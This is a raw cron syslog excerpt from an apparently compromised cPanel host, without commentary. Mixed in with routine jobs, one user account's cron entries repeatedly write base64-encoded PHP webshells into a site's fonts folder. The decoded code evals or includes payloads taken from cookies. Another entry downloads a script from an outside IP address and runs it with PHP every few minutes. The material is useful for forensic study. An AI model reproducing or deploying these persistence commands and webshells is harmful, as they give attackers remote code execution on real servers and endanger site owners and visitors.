Sep 20 11:30:01 ip-184-168-122-23 CROND[7380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:30:01 ip-184-168-122-23 CROND[7378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:30:01 ip-184-168-122-23 CROND[7384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 11:30:01 ip-184-168-122-23 CROND[7386]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 11:30:01 ip-184-168-122-23 CROND[7387]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:30:01 ip-184-168-122-23 CROND[7389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:30:01 ip-184-168-122-23 CROND[7391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:31:01 ip-184-168-122-23 CROND[7643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:31:01 ip-184-168-122-23 CROND[7642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:31:01 ip-184-168-122-23 CROND[7645]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 11:31:01 ip-184-168-122-23 CROND[7644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:31:01 ip-184-168-122-23 CROND[7646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:32:01 ip-184-168-122-23 CROND[7896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:32:01 ip-184-168-122-23 CROND[7898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:32:01 ip-184-168-122-23 CROND[7899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:32:01 ip-184-168-122-23 CROND[7900]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:32:01 ip-184-168-122-23 CROND[7897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:33:01 ip-184-168-122-23 CROND[8223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:33:01 ip-184-168-122-23 CROND[8225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:33:01 ip-184-168-122-23 CROND[8224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:33:01 ip-184-168-122-23 CROND[8226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:34:01 ip-184-168-122-23 CROND[8458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:34:01 ip-184-168-122-23 CROND[8460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:34:01 ip-184-168-122-23 CROND[8461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:34:01 ip-184-168-122-23 CROND[8464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:34:01 ip-184-168-122-23 CROND[8466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:35:01 ip-184-168-122-23 CROND[8757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:35:01 ip-184-168-122-23 CROND[8755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:35:01 ip-184-168-122-23 CROND[8756]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 11:35:01 ip-184-168-122-23 CROND[8758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:35:01 ip-184-168-122-23 CROND[8759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 11:35:01 ip-184-168-122-23 CROND[8760]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 11:35:01 ip-184-168-122-23 CROND[8761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:35:01 ip-184-168-122-23 CROND[8765]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 11:36:01 ip-184-168-122-23 CROND[9050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:36:01 ip-184-168-122-23 CROND[9051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:36:01 ip-184-168-122-23 CROND[9053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:36:01 ip-184-168-122-23 CROND[9054]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:36:01 ip-184-168-122-23 CROND[9055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:37:01 ip-184-168-122-23 CROND[9296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:37:01 ip-184-168-122-23 CROND[9299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:37:01 ip-184-168-122-23 CROND[9300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:37:01 ip-184-168-122-23 CROND[9298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:38:01 ip-184-168-122-23 CROND[9550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:38:01 ip-184-168-122-23 CROND[9551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:38:01 ip-184-168-122-23 CROND[9553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:38:01 ip-184-168-122-23 CROND[9556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:38:01 ip-184-168-122-23 CROND[9555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:39:01 ip-184-168-122-23 CROND[9825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:39:01 ip-184-168-122-23 CROND[9827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:39:01 ip-184-168-122-23 CROND[9826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:39:01 ip-184-168-122-23 CROND[9830]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 11:39:01 ip-184-168-122-23 CROND[9828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:40:02 ip-184-168-122-23 CROND[10190]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 11:40:02 ip-184-168-122-23 CROND[10189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 11:40:02 ip-184-168-122-23 CROND[10191]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 11:40:02 ip-184-168-122-23 CROND[10194]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 11:40:02 ip-184-168-122-23 CROND[10198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:40:02 ip-184-168-122-23 CROND[10199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:40:02 ip-184-168-122-23 CROND[10200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:40:02 ip-184-168-122-23 CROND[10201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:41:01 ip-184-168-122-23 CROND[10442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:41:01 ip-184-168-122-23 CROND[10443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 11:41:01 ip-184-168-122-23 CROND[10444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 11:41:01 ip-184-168-122-23 CROND[10445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 11:42:01 ip-184-168-122-23 CROND[10706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 11:42:01 ip-184-168-122-23 CROND[10708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
